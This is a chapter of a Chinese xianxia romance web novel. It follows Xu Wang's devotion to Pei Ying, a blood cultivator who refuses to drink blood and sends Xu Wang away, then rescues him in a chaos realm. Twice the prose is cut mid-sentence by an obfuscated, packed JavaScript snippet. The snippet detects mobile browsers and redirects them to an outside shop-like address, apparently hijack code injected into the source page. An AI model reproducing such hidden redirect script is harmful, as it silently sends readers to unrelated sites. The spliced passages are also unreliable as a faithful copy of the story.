“天色已晚,我要休息了。”裴映下了逐客令。 许妄稀里糊涂就站在门外,看着门在眼前咔哒一下关紧。 他知道裴映说的话只是托词。 裴映这般境界哪里需要休息。 许妄在门外站了一会儿,想敲门,终究还是放下手。 走到一旁安静地坐在地上。 屋内。 裴映躺在榻上,合眼睡觉。 他没有说谎,如今他是真的需要休息,以修复元神,节省灵力。 可是根本睡不着。 感官过于敏锐,无需元神出窍,也能察觉到树下另一人的气息。 良久,裴映无可奈何地拉开门。 许妄正抱着腿靠坐在树下,像只无人问津的委屈的蘑菇,见裴映出来,立刻起身,期盼地看过来。 裴映心中狠狠一痛。 “许妄,”裴映道,“救你一事,出自我本心,是我的道,即便被夺舍的人不是你,我也会这么做,所以你不必有负担,时时想着如何报答我。 “我知道你感激我,若今后有需要,我会寻求你的帮助,那时你便可以报恩。但是眼下……你我已非同路,你留在此处于我无益,我没什么需要你帮忙的。” “我能帮你的。”许妄说。 那日裴映肉身消散,他亲眼所见,事后裴映复活,应是灵魂和血液附着在陨天剑上。 许妄推测,裴映如今是血修。 他对血修了解不多,世上关于血修的记载和传说也很少,他只知血修要喝血才行,修士血最佳,妖血次之,普通人的血再次,未开灵智的动物血,只能维持生命而已。 看裴映脸色那般苍白,定是不愿捉妖喝血。 裴映最喜洁净,不喜血腥气,做那种事一定让他难受。 许妄当然可以帮他。 他和寻常修士不同,血液再生很快,每日放几碗血给裴映喝不成问题。 裴映不喜欢血的味道,他可以在里面加其他材料,去除血腥味,弄得好喝些。 他道:“我的血再生很快,若你需要,我……” 裴映脸色骤变,冷冷打断:“你想多了,我不需要,你走吧。” 说罢,又回到树屋,关上房门。 许妄没想到裴映会这么抗拒,站在原地手足无措。 过一会儿,他走到门前轻声说:“我先走了。” 裴映感觉到许妄气息渐远,听到蛟冲破冥河漩涡的声响,随后,沉渊净土又陷入寂静。 他心中仿佛卸下重担一般轻松,还有一丝自己不愿承认的失落。 他想,希望许妄不要再来了。 - 裴映陷入沉睡。 不知多久,被细微的响动吵醒。 即便睡着,他仍会分出一线元神探查周围,以防有人闯入此地。 来人的脚步声很熟悉,裴映一听便知是谁。 许妄不听劝,又回来了。 裴映说不清心里什么感受。 等了许久,无人来敲门。 许妄不知在忙活什么。 还施了消音咒。 但这咒术对裴映毫无用处。 裴映静静躺着,听到许妄在敲敲打打。 一阵敲打过后,又开始挖土。 挖土过后,似是在犁地。 犁完地,窸窸窣窣,好像在撒种子。 …… 裴映无法再忍,推门而出。 许妄回过头,一脸做坏事被撞破的惊慌。 脸上还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478870|201633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沾着泥土。 裴映看到沉渊净土尽头的角落里,立着一栋简陋的木屋。 许妄周围,有几棵刚栽种好的树苗,身边悬着一张园林图。 “你在做什么?”裴映问。 许妄老老实实回答:“种树。” 裴映无奈:“我知道你在种树。为什么要在这里做这些?” “我想改善一下环境。” 此处只有一棵净梵棠树,其他地方都空荡荒凉,种上一些树木和花草,看起来会更赏心悦目。 “而且,”许妄说,“之后树上结了果子,我们可以一起吃,还能酿酒。” 他记得裴映喜欢吃果子,也喜欢喝用果子酿成的酒。 裴映蹙眉:“你是打算在这里定居?” “可以吗,”许妄小心翼翼地问,“我无处可去,你能不能别赶我走?” 见裴映不说话,许妄补充道:“你不想提那个,我便再也不提。” 他是说将自己的血给裴映喝的事。 良久,裴映终于开口,语气淡漠疏离:“我不是沉渊净土的主人,这里不属于我,你想留在此地,我没有权力赶你走。” 说完便转身回到自己的住处。 许妄呆立片刻,继续种枇杷树。 心中有些难过。 他的纠缠惹得裴映不快了。 裴映从前喜欢热闹,如今修魔道,性情也许有变,可能更喜欢独处。 但许妄不能离开。 裴映修为高出他许多,若不时刻跟着,裴映要是离开沉渊净土去往别处,恐怕之后再难寻到。 而如今裴映的身体…… 据许妄推测,或许会出现一些状况。 裴映在妖界和魔界树敌不少,万一有人趁裴映虚弱的时候来寻仇怎么办,他得待在裴映左右才行,否则无法放心。 - 许妄种好树苗和花草,便每日在简陋的木屋前打坐或是练剑。 裴映大部分时间在房中,偶尔出来捡拾净梵棠花瓣,并不理会许妄。 许妄只敢远远地望上一眼,不敢上前打扰。 终于有一天,听到有人敲他的门。 他惊喜地拉开门,果然是裴映。 许妄立即露出一个欣喜的笑来。 但裴映只是神色冷淡地递给他一本厚重的书。 “这是我在赤偃那里找到的,很可能是你母亲的东西,之前忘记给你了。” 许妄愣愣地接过,说谢谢。 裴映没说话,把东西给他就走了。 许妄又怔怔地站了一会儿,才低头翻看那本书。 这是一本不知什么材料制成的书,暗金色,书页坚硬厚重,其上的文字不是写上去的,而是用灵力刻于其上。 那上面的字,许妄虽有种熟悉感,但完全不明白什么意思。 裴映说或许与他娘有关……许妄珍惜地收了起来。 这次之后,裴映又不再理会许妄了。 后来,接连几日,裴映都没出门。 许妄心生怀疑。 裴映修为比他高,他能感受到那股强者的气息,裴映应当没有离开。 但许妄还是心慌意乱。 他纠结再三,决定去敲门。 敲了几下,没人应。推门而入,屋内空无一人。 原来即便待在裴映旁边,他也是看不住裴映的,裴映要走,他根本毫无察觉。 许妄的心不停下坠,随即又陷入茫然。 他来了,裴映便走了。 裴映不想同他待在一处。 他此刻该如何?该去找裴映吗? 裴映救了他,他应该好好听裴映的话,离裴映远远的才是。 可不找裴映,他又能去哪里? 这五十年,裴映是唯一关心他,拼命救他的人,也是他与这个世界唯一的联结。 他多么希望,裴映也是需要他的。 如果不能跟在裴映身边,许妄不知该何去何从。 他心不在焉地为小树浇水施肥,又觉得自己做这些有什么意思,都不知道裴映还会不会回到这里。 许妄离开沉渊净土,不知不觉去往归栖山,寻找流光水境入口。 从前在青云宗,他不开心时就喜欢去那里。 踏上后山青石板,眼前场景一转,许妄眼睛蓦地睁大。 树下静静躺着一人。 一个奄奄一息的人。 “裴映!” 19. 第 19 章 许妄叫着裴映的名字,闪身至树下。 惊讶地看到裴映的脸上,布满蛛网般细密的血线。 许妄心痛不已,他跪在地上,小心抬起裴映,让裴映的头枕在他怀中。 “裴映,裴映,你怎么了?” 裴映脸上血线褪去,缓缓睁开眼,看到许妄满脸紧张关切的神情。 他用手撑着地,艰难地坐起来。 血修长时间不摄入鲜血,会遭到反噬,如同万蚁噬身,连带着元神也痛苦万分。 不过幸好,没有被许妄看到最狼狈的样子。 “没什么,是反噬。”裴映轻描淡写。 许妄这才注意到,古树的树干上有被魔气侵蚀的痕迹,裴映周围的地面一片狼藉,苔藓被蹭掉大片,是人在上面翻滚过的痕迹,土地上有很深的五指抓痕。 裴映指甲断裂流血,衣服和头发上沾染着泥土。 裴映这般爱干净的人,都是因为救他,才总是搞得这样狼狈。许妄手足无措,又觉亏欠心痛。 “是因为没有喝血,才会这样吗?” “嗯。” “那你为什么……为什么不肯喝我的血?” 裴映沉默片刻,轻声道:“你可知我今日喝你一碗血,明日就要喝五碗、十碗,总有一天,我会控制不住自己,将你吸干。” 许妄愣住。 裴映剧烈地咳了几下,咳出几口血来,许妄心头一紧。 裴映说“无妨”,继续解释道: “血修获取力量的速度极快,杀不死,可谓没有弱点。但再大胆的邪修,也没人愿意走这条路。 血修一旦尝过吸食人鲜血的滋味,便会一发不可收拾。会逐渐失去人性,沦为被欲望掌控的怪物,最终为天道所不容。 这世上目前除了我,没有其他血修,便是因为这个。此前的血修,都已在疯癫后毁灭。” 裴映道:“我宁愿死,也不愿变成那样的怪物。” 他从成为血修起,便没有尝过一点鲜血,哪怕是动物血。 这样才可维持神思清明,保持人性。 可他借助陨天剑的力量重生,得到堪比大乘境修士的功力,又岂能毫无代价? 他此刻的身体,只是一团血与魔气的混合物。 每次运功,现有的血便会少一分。 若再不从外界补充,生命很快便会流逝。剩下的光景,也许还有几年,也许只有几个月。 取决于他与人动手的次数。 这一点,裴映没有对许妄说。 但他不说,许妄也清楚,血修不喝血是活不下去的。 “许妄,我赶你走,不是因为……不是因为不喜欢你。只是因为你在我身边,我害怕我会伤害你。我需要克制自己,这对我而言,亦是种煎熬。所以,你走吧,去过自己的生活。” 许妄沉默良久,说了一个“好”字。 一闪身消失不见。 - 裴映回到沉渊净土。 许妄栽下的小树已抽出崭新的嫩芽,煞是可爱。 许妄不在,裴映便代替他好好照顾这些花草树木。 只是不知在幽冥界,这些树能不能如同在人界那样,顺利结出果子。 日子就如同往常那般,许妄不曾来时那样过。 可到底还是有什么不同了。 就像沉渊净土明明始终这样寂静无声,裴映从前没觉得,现在却嫌这里过于安静。 忽有一日,裴映的玉简收到云隐传信。 云隐说近来有个闯入各大宗门的贼。 若说是贼也不确切,那人只是潜入藏书阁翻阅一通,什么都不偷。 云隐问:“该不是许妄吧?” 裴映回道:“我也不知。” 他收起玉简,决定不理会此事。 既然他将许妄赶走,那么许妄去做什么,都是他的自由,裴映无权过问。 可…… 云隐传来的消息总是沉甸甸地萦绕在心头。 许妄去查什么? 若许妄所查的与他有关,那他应当也是有理由过问的吧? 裴映的身影倏然化作一团黑雾,没入冥河之中。 - 滂沱大雨中,许妄正攀在陡峭岩壁上,其下是万丈深渊。 他身处混沌秘境,这里常年下着蚀灵雨。 秘境内的混沌气令许妄丹田作痛,全身上下有种撕裂般的疼痛。 好在他有一半蛟血,用鳞甲覆在丹田周围的皮肤上,可以免于丹田爆炸而亡。 混沌秘境内无法自如使用灵力,许妄只能像普通人那样,小心翼翼地一点点向下挪动,一直挪到峭壁上生长的一株植物旁。 那是一棵名为混沌道树的树木,许妄要采摘它的果实。 大雨冲刷在许妄脸上,眼睛都难以睁开,他艰难地眯着眼,仔细在树上搜寻。 半晌之后,他的心凉了个彻底。 没有果实。 混沌道树三十年能结成一枚混沌果。 这枚刚长出不久的果子已经被人摘走了。 找不到混沌果……等下一枚果实结出还要三十年,裴映怎么等得起三十年? 心一凉,身体上的疼痛愈发凸显。 混沌秘境有个特点,其中的混沌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478871|201633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之气与修士使用的灵气互为两极。 整个秘境仿佛一个巨大的黑洞,能够不断将修士丹田内聚集的灵气吸出。 修为越高,丹田中灵气压缩得越厉害,受到的伤害就越大。 所以金丹境及以上的修士对此地向来避之不及。 此刻,元婴境的许妄悬在峭壁中央,不上不下。 他在秘境中待了太久,体内的灵力几乎被吸空,丹田剧痛,喉头腥甜,鲜血顺着嘴角向下流。 若此时秘境中来一个筑基境修士,恐怕都能将他杀死。 许妄五指抓着岩壁上的石缝,缓慢向上爬。 暴雨拍打着他的身体,许妄脚下一滑,幸而一只手还紧紧抠住岩壁,才没有坠入深渊。 他的全部身体只靠一只手撑着,另一只手努力寻找落点。 就在此时,一团黑雾倏然而至,许妄被卷入其中。 他眼前一花,下一瞬,已然稳稳站在悬崖边。 黑雾凝成实体,化作裴映的模样。 许妄诧异地看着裴映:“你……你怎么来了?” “你不要命了?”裴映冷着一张脸,恼怒道,“我救你不是为了让你来这里送命!” 许妄愣了一下。 这是裴映第一次对他发火,裴映从来没有用这么严厉的语气对他说过话。 许妄呆呆地望了裴映片刻,开口道:“你、你不能这样……” 他眼眶泛红,胸膛起伏:“让我不再管你……你自己做得到吗?如果你做得到,又怎会一次次救我,把自己变成如今的样子?” 裴映怔然。 沉默片刻,他轻轻叹了口气。 崖边有坐小山丘,其中有个山洞,裴映道:“进去再说。” 许妄跟在裴映身后,他受了不小的内伤,脚步踉跄,险些摔跤,被裴映回身搀扶住。 裴映的眼神有一瞬恍惚,复又恢复清明。 许妄感觉裴映放在自己腰上的手越搂越紧。 然后又忽然松开,闪身离他远远的。 对于裴映的避讳,许妄不像从前那么敏感。 经历这许多事,他怀疑什么也不会再怀疑裴映对他的好。 此刻他身受重伤,维持不住完全的人形,手上出现鳞甲,说不定裴映是对鳞片过敏。 而且裴映还不喜欢腥味。 许妄抬起手闻闻,没有闻到什么味道。 不过也可能是他自己闻不见。 他运转仅剩的一点灵力,努力想将鳞甲收回去。 裴映皱眉看过来:“你此时不宜运功。” “哦。”许妄讪讪地停下。